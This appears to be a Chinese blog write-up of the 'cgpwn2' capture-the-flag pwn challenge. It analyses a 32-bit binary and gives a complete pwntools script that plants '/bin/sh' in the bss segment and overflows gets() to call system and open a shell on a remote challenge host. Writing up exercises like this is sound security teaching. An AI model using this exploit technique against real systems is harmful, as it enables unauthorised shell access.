cgpwn2攻防世界pwn

2019-08-09  本文已影响0人  杰_74

checksec后试运行,有两个输入


32位ida


点进去hello()




可以利用fgets和gets栈溢出

发现pwn函数里有system,参数不对,system在plt地址为0x08048420



shift+F12找字符串,这次就找不到binsh了,看来要想办法写进去


第一次输入的name在bss段,地址为0x0804A080



第二次输入时gets函数,在plt地址为0x080483F0


那我们就在第一次输入把/bin/sh用fgets写进去,第二次利用gets的栈溢出调用syste(/bin/sh)

写脚本

#coding=utf8
from pwn import *
context.log_level = 'debug'
p = remote('111.198.29.45',47419)

system_plt = 0x08048420
bss = 0x0804A080

p.recvuntil('name')
p.sendline("/bin/sh")
p.recvuntil('here:')

payload = ''
payload += 'A'*0x26
payload += p32(0)
payload += p32(system_plt)
payload += p32(0)
payload += p32(bss)

p.sendline(payload)
p.interactive()
成功
上一篇下一篇

猜你喜欢

热点阅读